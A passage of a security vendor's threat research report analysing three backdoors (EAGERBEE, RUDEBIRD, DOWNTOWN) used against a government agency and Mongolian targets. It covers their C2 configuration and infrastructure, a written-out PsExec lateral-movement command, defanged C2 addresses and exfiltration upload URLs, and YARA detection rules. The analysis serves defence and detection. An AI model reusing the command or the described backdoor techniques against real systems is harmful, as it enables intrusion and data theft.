<p>After resolving all the required Windows APIs, the malware creates a mutex with the string <code>mstoolFtip32W</code> to prevent multiple instances of the malware from running on the same machine.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt115f29f27240cb05/6a7c87cd437e0f4ccfdd56bf/image1.png" alt="Mutex setup" title="Mutex setup" /></p>
<p>The malware gathers key information about the compromised system:</p>
<ul>
<li>The computer's name is obtained using the <code>GetComputerNameW</code> function</li>
<li>The malware retrieves the Windows version by utilizing the <code>GetVersionExW</code> function</li>
<li>A globally unique identifier (GUID) is generated through the <code>CoCreateGuid</code> function</li>
<li>The processor architecture information is acquired using the <code>GetNativeSystemInfo</code> function</li>
<li>The ProductName, EditionID, and CurrentBuildNumber are extracted from the designated registry key <code>SOFTWARE\Microsoft\Windows NT\CurrentVersion</code></li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt031a797f9a7a8210/6a7c87d0e02fac15755d05e3/image19.png" alt="Information collection" title="Information collection" /></p>
<p>The sample’s operational schedule is controlled by the string <code>0-5:00:23;6:00:23;</code>. In our sample the malware conforms to the outlined schedule using the ISO 8601 24-hour timekeeping system: </p>
<ul>
<li>active from Sunday(0) to Friday(5)</li>
<li>all hours between 00 and 23</li>
<li>Saturday(6) all hours between 00 and 23</li>
</ul>
<p>This functionality allows the malware to impose self-restrictions during specific timeframes, showcasing both its adaptability and control.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf024b3419d9e3154/6a7c87d233fa8a01641fca1b/image3.png" alt="Configuration scheduling" title="Configuration scheduling" /></p>
<p>The malware's C2 addresses are either hardcoded values or stored in an XOR-encrypted file named <code>c:\users\public\iconcache.mui</code>. This file is decrypted using the first character as the decryption key.</p>
<p>This configuration file contains a list of semicolon-delimited IP addresses. The format adheres to the structure <code>IP:PORT</code>, where the character <code>s</code> is optional and instructs the malware to open a Secure Socket Layer (SSL) for encrypted communication between C2 and the malware.
<img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt86145154159c8458/6a7c87d5ead8ec1b26ba4a2d/image18.png" alt="Malware’s hardcoded configuration of C2 IPs" title="Malware’s hardcoded configuration of C2 IPs" /></p>
<p>The configuration optionally accepts a list of port numbers on which the malware will listen. The specific configuration mode, whether it's for reverse or forward connections, determines this behavior.</p>
<p>A configuration flag is embedded directly into the code in both operating modes. This flag empowers the malware to select between utilizing SSL encryption during its interactions with the C2 server or plain text communication.</p>
<p>In passive listening mode, the malware opens a listening socket on the port indicated in its configuration.</p>
<p>When operating in active connection mode, the malware attempts to load its configuration from the file <code>c:\users\public\iconcache.mui</code>. In the event that this file is not found, the malware falls back to its hardcoded configuration to acquire the necessary IPs</p>
<p>The author employs a global variable embedded in the source code to select between modes. Importantly, both are included in the binary, with only one being executed based on the selection. Leaving this dormant capability in the binary may have been a mistake, but one that helps researchers understand the technical maturity of this group. Generally speaking, malware authors benefit from removing unused code that may be used against them.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt614af513fc71c8ce/6a7c87d8437e0f54c4dd56c3/image16.png" alt="Both forward and reverse connection functionalities are present in the binary" title="Both forward and reverse connection functionalities are present in the binary" /></p>
<p><strong><em>Note: In C programming, modularity is achieved through the use of #define directives to selectively include or exclude code parts in the compiled binary. However, the malware developer employed a less advisable approach in this case. They utilized static global variables whose values are set during compilation. Consequently, the resulting binary contains both utilized and unused functions. During runtime, the binary assesses the value of these static global variables to determine its behavior. Though functional, this is neither the best programming nor tradecraft practice as it permits analysis and detection engineering of code used outside the identified intrusion.</em></strong></p>
<p>The malware has the capability to detect the presence of an HTTP proxy configuration on the host machine by inspecting the <code>ProxyEnable</code> registry key within <code>Software\Microsoft\windows\CurrentVersion\Internet Settings</code>. If this key value is set to <code>1</code>, the malware extracts the information in the <code>ProxyServer</code> key. </p>
<p>If no proxy server is set, the malware connects directly to C2. </p>
<p>However, if the proxy settings are defined, the malware also initializes the proxy by sending a <code>CONNECT</code> request, and its data to the configured destination. The malware author made a typo in the HTTP request code; they mistakenly wrote <code>DONNECT</code> instead of <code>CONNECT</code> in the HTTP request string in the binary. This is a reliably unique indicator for those analyzing network captures.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8d1b06319158c499/6a7c87dbde231547a0fd1ee6/image12.png" alt="HTTP request string to connect to the setup proxy" title="HTTP request string to connect to the setup proxy" /></p>
<p>Upon establishing a connection to C2, The malware downloads executable files from C2, likely pushed automatically. It validates that each executable is 64bit, then extracts the entry point and modifies memory protections to allow execution using the VirtualProtect API.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt33a4326118f870be/6a7c87de5967e5c9a45d7607/image7.png" alt="Payload execution in the same process" title="Payload execution in the same process" /></p>
<h3 id="eagerbeeconnectiontoamongoliancampaign">EAGERBEE connection to a Mongolian campaign</h3>
<p>During our EAGERBEE analysis, we also saw an additional two (previously unnamed) EAGERBEE <a href="https://www.virustotal.com/gui/search/09005775FC587AC7BF150C05352E59DC01008B7BF8C1D870D1CEA87561AA0B06%250AA191D8059E93C0AB479DE45CDD91C41B985F9BCCD7B2CAD9F171FEA1C5F19E2E/files">samples</a> involved in a targeted campaign focused on Mongolia. These two EAGERBEE samples were both respectively bundled with other files and used a similar naming convention (<code>iconcache.mui</code> for EAGERBEE and <code>iconcaches.mui</code> in the Mongolian campaign). The samples consisted of multiple files and a lure document.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5e9960907879005d/6a7c87e0c2cc092802243497/image15.png" alt="Decompressed files inside Mongolian campaign sample" title="Decompressed files inside Mongolian campaign sample" /></p>
<p>While analyzing the Mongolian campaign samples, we found a previous <a href="https://www.virustotal.com/gui/url/7e0d899d54c6a0f43fbac0e633d821eefa9057e29df8c4956321fe947daaaa54">webpage</a> (<code>http://president[.]mn/en/ebooksheets.php</code>) hosted under Mongolian infrastructure serving a <a href="https://www.virustotal.com/gui/file/af8cb76d9d955d654ec89b85d1ab35e1886ec2ba1a8c600a451d1bd383fb4e66/detection">RAR file</a> named <code>20220921_2.rar</code>. Given the VirusTotal scan date of the file and the filename, it is likely to have been created in September 2022.</p>
<p>The lure text is centered around the regulations for the “Billion Trees National Movement Fund” and has been an important <a href="https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/">topic</a> in recent years related to an initiative taken on by Mongolia. To address food security, climate impacts, and naturally occurring but accelerating desertification, Mongolia’s government has undertaken an ambitious goal of planting one billion trees throughout the country.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt425f3c466cea63c9/6a7c87e31967ea20c932a940/image5.png" alt="Lure document" title="Lure document" /></p>
<p>For this infection chain, they leveraged a signed Kaspersky application in order to sideload a <a href="https://www.virustotal.com/gui/file/4b3dc8609cba089e666b2086264e6f71dada57fdb3f160d2f5e546881a278766/relations">malicious DLL</a>. Upon execution, sensitive data and files were collected from the machine and uploaded to a hard-coded Mongolian government URL (<code>www.president[.]mn/upload.php</code>) via cURL. Persistence is configured using a Registry Run Key.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5d638819802b9d56/6a7c87e642a1174d989561e5/image14.png" alt="Hard-coded domain in first sample" title="Hard-coded domain in first sample" /></p>
<p><strong><em>Note: Though it does not contain the .gov second-level domain, www.president[.]mn does appear to be the official domain of the President of Mongolia, and is hosted within government infrastructure. Abuse email is directed to oyunbold@datacenter.gov[.]mn which appears to be legitimate.</em></strong> Based on string formatting and underlying behavior, this sample aligns with public <a href="https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/">reporting</a> from AVAST related to a utility they call DataExtractor1.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt23f57fc90a845c7c/6a7c87e83ce8e247cdcef7e3/image9.png" alt="Sensitive file collection on different drives" title="Sensitive file collection on different drives" /></p>
<p>While we didn’t find a WinRAR archive for the other linked sample, we found this related <a href="https://www.virustotal.com/gui/file/a191d8059e93c0ab479de45cdd91c41b985f9bccd7b2cad9f171fea1c5f19e2e">executable</a>. It functions similarly, using a different callback domain hosted on Mongolian infrastructure (<code>https://intranet.gov[.]mn/upload.php</code>).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1d51059fb7623ce1/6a7c87eb33fa8aed781fca1f/image13.png" alt="Hard-coded domain in the second sample" title="Hard-coded domain in the second sample" /></p>
<p>While it is not clear how this infrastructure was compromised or the extent to which it has been used, impersonating trusted systems may have enabled the threat to compromise other victims and collect intelligence.</p>
<h3 id="eagerbeesummary">EAGERBEE Summary</h3>
<p>EAGERBEE is a technically straightforward backdoor with forward and reverse C2 and SSL encryption capabilities, used to conduct basic system enumeration and deliver subsequent executables for post-exploitation. The C2 mode is defined at compile time, and configurable with an associated config file with hardcoded fallback.</p>
<p>Using code overlap analysis, and the fact that EAGERBEE was bundled with other samples from VirusTotal, we identified a C2 server hosted on Mongolian government infrastructure. The associated lure documents also reference Mongolian government policy initiatives. This leads us to believe that the Mongolian government or non-governmental organizations (NGOs) may have been targeted by the REF2924 threat actor.</p>
<h2 id="rudebird">RUDEBIRD</h2>
<p>Within the contested REF2924 environment, Elastic Security Labs identified a lightweight Windows backdoor that communicates over HTTPS and contains capabilities to perform reconnaissance and execute code. We refer to this malware family as RUDEBIRD.</p>
<h3 id="initialexecution">Initial execution</h3>
<p>The backdoor was executed by a file with an invalid signature, <code>C:\Windows\help\RVTDM.exe</code>, which resembles the Sysinternals screen magnifier utility ZoomIt. Shortly after being executed, Elastic Defend registered a process injection alert. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5d296c67e4b183b8/6a7c87ee6c6eacd8eaf0e493/image28.png" alt="PE signature and original filename details of RVTDM.exe" title="PE signature and original filename details of RVTDM.exe" /></p>
<p>The process was executed with the parent process (<code>w3wp.exe</code>) coming from a Microsoft Exchange application pool. This is consistent with the exploitation of an unpatched Exchange vulnerability, and prior research supports that hypothesis.</p>
<h3 id="lateralmovement">Lateral movement</h3>
<p>RUDEBIRD used PsExec (<code>exec.exe</code>) to execute itself from the SYSTEM account and then move laterally from victim 0 to another targeted host. It is unclear if PsExec was brought to the environment by the threat actor or if it was already present in the environment. </p>
<p><code>"C:\windows\help\exec.exe" /accepteula \\{victim-1} -d -s C:\windows\debug\RVTDM.EXE</code></p>
<h3 id="codeanalysis-1">Code analysis</h3>
<p>RUDEIBIRD is composed of shellcode that resolves imports dynamically by accessing the Thread Environment Block (TEB) / Process Environment Block (PEB) and walking the loaded modules to find base addresses for the <code>kernel32.dll</code> and <code>ntdll.dll</code> modules. These system DLLs contain crucial functions that will be located by the malware in order to interact with the Windows operating system.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt568f153890481d21/6a7c87f1fc63ab8b0e64702c/image22.png" alt="Resolving imports using TEB/PEB" title="Resolving imports using TEB/PEB" /></p>
<p>RUDEBIRD uses a straightforward API hashing algorithm with multiplication (<code>0x21</code>) and addition that is <a href="https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py">publicly available</a> from OALabs. This provides defense against static-analysis tools that analysts may use to inspect the import table and discern what capabilities a binary has.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltcf8b3f1c62f83455/6a7c87f3fc63ab7f9c647030/image11.png" alt="RUDEBIRD API Hashing algorithm" title="RUDEBIRD API Hashing algorithm" /></p>
<p>After resolving the libraries, there is an initial enumeration function that collects several pieces of information including:</p>
<ul>
<li>Hostname</li>
<li>Computer name</li>
<li>Username</li>
<li>IP Address</li>
<li>System architecture</li>
<li>Privilege of the current user</li>
</ul>
<p>For some functions that return larger amounts of data, the malware implements compression using <code>RtlCompressBuffer</code>. The malware communicates using HTTPS to IP addresses loaded in memory from its configuration. We observed two IP addresses in the configuration in our sample:</p>
<ul>
<li><code>45.90.58[.]103</code></li>
<li><code>185.195.237[.]123</code></li>
</ul>
<p>Strangely, there are several functions throughout the program that include calls to <code>OutputDebugStringA</code>. This function is typically used during the development phase and serves as a mechanism to send strings to a debugger while testing a program. Normally, these debug messages are expected to be removed after development is finished. For example, the result of the administrator check is printed if run inside a debugger.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte73f6e97c54b5ab9/6a7c87f6fc63abe02d647034/image21.png" alt="RUDEBIRD debug string" title="RUDEBIRD debug string" /></p>
<p>RUDEBIRD uses mutexes to maintain synchronization throughout its execution. On launch, the mutex is set to <code>VV.0</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt061a3e4cced12eab/6a7c87f86c6eacf923f0e497/image24.png" alt="RUDEBIRD mutex" title="RUDEBIRD mutex" /></p>
<p>After the initial enumeration stage, RUDEBIRD operates as a traditional backdoor with the following capabilities:</p>
<ul>
<li>Retrieve victim’s desktop directory path</li>
<li>Retrieve disk volume information </li>
<li>Perform file/directory enumeration</li>
<li>Perform file operations such as reading/writing file content</li>
<li>Launch new processes</li>
<li>File/folder operations such as creating new directories, move/copy/delete/rename files</li>
<li>Beacon timeout option</li>
</ul>
<h2 id="downtownsmanagerphantomnet">DOWNTOWN (SManager/PhantomNet)</h2>
<p>In the REF2924 environment, we observed a modular implant we call DOWNTOWN. This sample shares a plugin architecture, and code similarities, and aligns with the victimology described in the publicly reported malware <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager">SManager/PhantomNet</a>. While we have little visibility into the impacts of its overall use, we wanted to share any details that may help the community. </p>
<p>SManager/PhantomNet has been attributed to <a href="https://malpedia.caad.fkie.fraunhofer.de/actor/ta428">TA428</a> (Colourful Panda, BRONZE DUDLEY), a threat actor likely sponsored by the Chinese government. Because of the shared plugin architecture, code similarities, and victimology, we are attributing DOWNTOWN with a moderate degree of confidence to a nationally sponsored Chinese threat actor.</p>
<h3 id="codeanalysis-2">Code analysis</h3>
<p>For DOWNTOWN, we collected the plugin from a larger framework. This distinction is made based on unique and shared exports from previously published <a href="https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/">research</a> by ESET. One of the exports contains the same misspelling previously identified in the ESET blog, <code>GetPluginInfomation</code> (note: <code>Infomation</code> is missing an <code>r</code>). The victimology of REF2924 is consistent with their reported victim vertical and region.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd67a1c1ab4854beb/6a7c87fb42a11779969561eb/image8.png" alt="DOWNTOWN exports" title="DOWNTOWN exports" /></p>
<p>In our sample, the plugin is labeled as “ExplorerManager”. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfa624dad5a2f7ad8/6a7c87fd1967ea7e7532a945/image26.png" alt="GetPlugInfomation export" title="GetPlugInfomation export" /></p>
<p>The majority of the code appears to be centered around middleware functionality (linked lists, memory management, and thread synchronization) used to task the malware. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltce3bd895d93d51ff/6a7c8800fc63ab0809647038/image4.png" alt="Strings found inside DOWNTOWN sample" title="Strings found inside DOWNTOWN sample" /></p>
<p>In a similar fashion to RUDEBIRD above, DOWNTOWN also included the debug functionality using  <code>OutputDebugStringA</code>. Again, debugging frameworks are usually removed once the software is moved from development to production status. This could indicate that this module is still in active development or a lack of operational scrutiny by the malware author(s).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta8a768e3aae700b0/6a7c8803c33f4f5a18d54b2c/image2.png" alt="OutputDebugStringA usage" title="OutputDebugStringA usage" /></p>
<p>Some functionality observed in the sample included:</p>
<ul>
<li>File/folder enumeration</li>
<li>Disk enumeration</li>
<li>File operations (delete/execute/rename/copy)</li>
</ul>
<p>Unfortunately, our team did not encounter any network/communication functionality or find any domain or IP addresses tied to this sample.  </p>
<h3 id="downtownsummary">DOWNTOWN Summary</h3>
<p>DOWNTOWN is part of a modular framework that shows probable ties to an established threat group. The observed plugin appears to provide middleware functionality to the main implant and contains several functions to perform enumeration.</p>
<h2 id="networkinfrastructureintersection">Network infrastructure intersection</h2>
<p>When performing an analysis of the network infrastructure for EAGERBEE and RUDEBIRD, we identified similarities in the domain hosting provider, subdomain naming, registration dates, and service enablement between the two malware families’ C2 infrastructure. Additionally, we were able to use TLS leaf certificate fingerprints to establish another connection between EAGERBEE and the Mongolian campaign infrastructure.</p>
<h3 id="sharednetworkinfrastructure">Shared network infrastructure</h3>
<p>As identified in the malware analysis section for EAGERBEE, there were two IP addresses used for C2: <code>185.82.217[.]164</code> and <code>195.123.245[.]79</code>.</p>
<p>Of the two, <code>185.82.217[.]164</code> had an expired TLS certificate registered to it for <code>paper.hosted-by-bay[.]net</code>. The subdomain registration for <code>paper.hosted-by-bay[.]net</code> and the TLS certificate were registered on December 14, 2020.</p>
<p>!<a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt94d8b2490ed276fa/6a8841be33f24415654a5f1a/image17.jpg" title="paper.hosted-by-bay[.]net TLS certificate">paper.hosted-by-bay[.]net TLS certificate</a></p>
<p>As identified in the malware analysis section for RUDEBIRD, there were two IP addresses used for C2: <code>45.90.58[.]103</code> and <code>185.195.237[.]123</code>.</p>
<p><code>45.90.58[.]103</code> was used to register the subdomain <code>news.hosted-by-bay[.]net</code>, on December 13, 2020.</p>
<p>Both IP addresses (one from EAGERBEE and one from RUDEBIRD) were assigned to subdomains (<code>paper.hosted-by-bay[.]net</code> and <code>news.hosted-by-bay[.]net</code>) within one day at the domain <code>hosted-by-bay[.]net</code>.</p>
<p><strong><em>Note: While <code>195.123.245[.]79</code> (EAGERBEE) and <code>185.195.237[.]123</code> (RUDEBIRD) are malicious, we were unable to identify anything atypical of normal C2 nodes. They used the same defense evasion technique (described below) used by <code>185.82.217[.]164</code> (EAGERBEE) and <code>45.90.58[.]103</code> (RUDEBIRD).</em></strong></p>
<h3 id="domainanalysis">Domain analysis</h3>
<p>When performing an analysis of the <code>hosted-by-bay[.]net</code> domain, we see that it is registered to the IP address <code>45.133.194[.]106</code>. This IP address exposes two TCP ports, one is the expected TLS port of <code>443</code>, and the other is <code>62753</code>.</p>
<p><strong><em>Note: Port <code>443</code> has a Let’s Encrypt TLS certificate for <code>paypal.goodspaypal[.]com</code>. This domain does not appear to be related to this research but should be categorized as malicious based on its registration to this IP.</em></strong></p>
<p>On port <code>62753</code>, there was a self-signed wildcard TLS leaf certificate with a fingerprint of <code>d218680140ad2c6e947bf16020c0d36d3216f6fc7370c366ebe841c02d889a59</code> (<code>*.REDACTED[.]mn</code>). This fingerprint is used for one host, <code>shop.REDACTED[.]mn</code>. The 10-year TLS certificate was registered on December 13, 2020.</p>
<pre><code>Validity
Not Before: 2020-12-13 11:53:20
Not After: 2030-12-11 11:53:20
Subject: CN=shop.REDACTED[.]mn
</code></pre>
<p><code>.mn</code> is the Internet ccTLD for Mongolia and REDACTED is a large bank in Mongolia. When researching the network infrastructure for REDACTED, we can see that they do currently own their DNS infrastructure.</p>
<p>It does not appear that <code>shop.REDACTED[.]mn</code> was ever registered. This self-signed TLS certificate was likely used to encrypt C2 traffic. While we cannot confirm that this certificate was used for EAGERBEE or RUDEBIRD, in the malware code analysis of both EAGERBEE and RUDEBIRD, we identified that TLS to an IP address is an available malware configuration option. We do believe that this domain is related to EAGERBEE and RUDEBIRD based on the registration dates, IP addresses, and subdomains of the <code>hosted-by-bay[.]net</code> domain.</p>
<p>As noted in the EAGERBEE malware analysis, we identified two other previously unnamed EAGERBEE samples used to target Mongolian victims and also leveraged Mongolian C2 infrastructure.</p>
<h3 id="defenseevasion">Defense evasion</h3>
<p>Finally, we see all of the C2 IP addresses add and remove services at similar dates and times. This is a tactic to hinder the analysis of the C2 infrastructure by limiting its availability. It should be noted that the history of the service enablement and disablement (provided by <a href="https://search.censys.io/">Censys.io</a> databases) is meant to show possible coordination in C2 availability. The images below show the last service change windows, further historical data was not available.</p>
<p><code>192.123.245[.]79</code> had TCP port <code>80</code> enabled on September 22, 2023 at 07:31 and then disabled on September 24, 2023 at 07:42.</p>
<p>!<a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt139eb45bce2ff90a/6a8841c1c2617c4d6ce1f2a8/image6.jpg" title="192.123.245[.]79 C2 service windows">192.123.245[.]79 C2 service windows</a></p>
<p><code>185.195.237[.]123</code> had TCP port <code>443</code> enabled on September 22, 2023 at 03:33 and then disabled on September 25, 2023 at 08:08.</p>
<p>!<a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltecb2f73164a6c5fe/6a8841c4e2447a64df8b7df6/image23.jpg" title="185.195.237[.]123 C2 service windows">185.195.237[.]123 C2 service windows</a></p>
<p><code>185.82.217[.]164</code> had TCP port <code>443</code> enabled on September 22, 2023 at 08:49 and then disabled on September 25, 2023 at 01:02.</p>
<p>!<a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf02d63fcacfad570/6a8841c613070eddf11f942b/image20.jpg" title="185.82.217[.]164 C2 service windows">185.82.217[.]164 C2 service windows</a></p>
<p><code>45.90.58[.]103</code> had TCP port <code>443</code> enabled on September 22, 2023 at 04:46 and then disabled on September 24, 2023 at 09:57.</p>
<p>!<a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4dd30e4e1c0a4193/6a8841cad11d3b6ec26b0e42/image10.jpg" title="45.90.58[.]103 C2 service windows">45.90.58[.]103 C2 service windows</a></p>
<h3 id="networkintersectionsummary">Network intersection summary</h3>
<p>EAGERBEE and RUDEBIRD are two malware samples, co-resident on the same infected endpoint, in the same environment. This alone builds a strong association between the families. </p>
<p>When adding the fact that both families use C2 endpoints that have been used to register subdomains on the same domain <code>hosted-by-bay[.]net</code>), and the service availability coordination, leads us to say with a high degree of confidence that the malware and campaign operators are from the same tasking authority, or organizational umbrella.</p>
<h2 id="summary">Summary</h2>
<p>EAGERBEE, RUDEBIRD, and DOWNTOWN backdoors all exhibit characteristics of incompleteness whether using “Test” in file/service names, ignoring compilation best practices, leaving orphaned code, or leaving a smattering of extraneous debug statements.</p>
<p>They all, however, deliver similar tactical capabilities in the context of this environment.</p>
<ul>
<li>Local enumeration</li>
<li>Persistence</li>
<li>Download/execute additional tooling</li>
<li>C2 options</li>
</ul>
<p>The variety of tooling performing the same or similar tasks with varying degrees and types of miscues causes us to speculate that this environment has attracted the interest of multiple players in the REF2924 threat actor’s organization. The victim's status as a government diplomatic agency would make it an ideal candidate as a stepping-off point to other targets within and outside the agency’s national borders. Additionally, it is easy to imagine that multiple entities within a national intelligence apparatus would have collection requirements that could be satisfied by this victim directly. </p>
<p>This environment has already seen the emergence of the REF2924 intrusion set (SIESTAGRAPH, NAPLISTENER, SOMNIRECORD, and DOORME), as well as the deployment of SHADOWPAD and COBALTSTRIKE. The REF2924 and REF5961 threat actor(s) continue to deploy new malware into their government victim’s environment.</p>
<h2 id="ref5961andmitreattck">REF5961 and MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advance persistent threats used against enterprise networks.</p>
<h3 id="tactics">Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li>EAGERBEE</li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li>RUDEBIRD</li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral Movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li>DOWNTOWN</li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
</ul>
<h3 id="techniques">Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li>EAGERBEE</li>
<li><a href="https://attack.mitre.org/techniques/T1027/">Obfuscated Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1041/">Exfiltration Over C2 Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1090/">Proxy</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li>RUDEBIRD</li>
<li><a href="https://attack.mitre.org/tactics/TA0007/#:~:text=T1083-,File%20and%20Directory%20Discovery,-Adversaries%20may%20enumerate">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059">Command and Scripting Interpreter</a></li>
<li><a href="https://attack.mitre.org/techniques/T1570/">Lateral Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1005">Data from Local System</a></li>
<li>DOWNTOWN</li>
<li><a href="https://attack.mitre.org/tactics/TA0007/#:~:text=T1083-,File%20and%20Directory%20Discovery,-Adversaries%20may%20enumerate">File and Directory Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082">System Information Discovery</a></li>
</ul>
<h2 id="malwarepreventioncapabilities">Malware prevention capabilities</h2>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_EagerBee.yar">EAGERBEE</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_RudeBird.yar">RUDEBIRD</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DownTown.yar">DOWNTOWN</a></li>
</ul>
<h2 id="yara">YARA</h2>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the EAGERBEE, RUDEBIRD, and DOWNTOWN malware:</p>
<h3 id="eagerbee-1">EAGERBEE</h3>
<pre><code>rule Windows_Trojan_EagerBee_1 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-09"
        last_modified = "2023-06-13"
        threat_name = "Windows.Trojan.EagerBee"
        reference_sample = "09005775fc587ac7bf150c05352e59dc01008b7bf8c1d870d1cea87561aa0b06"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $a1 = { C2 EB D6 0F B7 C2 48 8D 0C 80 41 8B 44 CB 14 41 2B 44 CB 0C 41 }
        $a2 = { C8 75 04 33 C0 EB 7C 48 63 41 3C 8B 94 08 88 00 00 00 48 03 D1 8B }

    condition:
        all of them
}

rule Windows_Trojan_EagerBee_2 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-09-04"
        last_modified = "2023-09-20"
        threat_name = "Windows.Trojan.EagerBee"
        reference_sample = "339e4fdbccb65b0b06a1421c719300a8da844789a2016d58e8ce4227cb5dc91b"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $dexor_config_file = { 48 FF C0 8D 51 FF 44 30 00 49 03 C4 49 2B D4 ?? ?? 48 8D 4F 01 48 }
        $parse_config = { 80 7C 14 20 3A ?? ?? ?? ?? ?? ?? 45 03 C4 49 03 D4 49 63 C0 48 3B C1 }
        $parse_proxy1 = { 44 88 7C 24 31 44 88 7C 24 32 48 F7 D1 C6 44 24 33 70 C6 44 24 34 3D 88 5C 24 35 48 83 F9 01 }
        $parse_proxy2 = { 33 C0 48 8D BC 24 F0 00 00 00 49 8B CE F2 AE 8B D3 48 F7 D1 48 83 E9 01 48 8B F9 }

    condition:
        2 of them
}
</code></pre>
<h3 id="rudebird-1">RUDEBIRD</h3>
<pre><code>rule Windows_Trojan_RudeBird {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-09"
        last_modified = "2023-06-13"
        threat_name = "Windows.Trojan.RudeBird"
        license = "Elastic License v2"
        os = "windows"

  strings:
        $a1 = { 40 53 48 83 EC 20 48 8B D9 B9 D8 00 00 00 E8 FD C1 FF FF 48 8B C8 33 C0 48 85 C9 74 05 E8 3A F2 }

    condition:
        all of them
}
</code></pre>
<h3 id="downtown">DOWNTOWN</h3>
<pre><code>rule Windows_Trojan_DownTown_1 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-10"
        last_modified = "2023-06-13"
        threat_name = "Windows.Trojan.DownTown"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $a1 = "SendFileBuffer error -1 !!!" fullword
        $a2 = "ScheduledDownloadTasks CODE_FILE_VIEW " fullword
        $a3 = "ExplorerManagerC.dll" fullword

    condition:
        3 of them
}

rule Windows_Trojan_DownTown_2 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-08-23"
        last_modified = "2023-09-20"
        threat_name = "Windows.Trojan.DownTown"
        license = "Elastic License v2"
        os = "windows"

    strings:
        $a1 = "DeletePluginObject"
        $a2 = "GetPluginInfomation"
        $a3 = "GetPluginObject"
        $a4 = "GetRegisterCode"

    condition:
        all of them
}
</code></pre>
<h2 id="observations">Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ref5961">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<p>| Observable                                                       | Type    | Name               | Reference      |
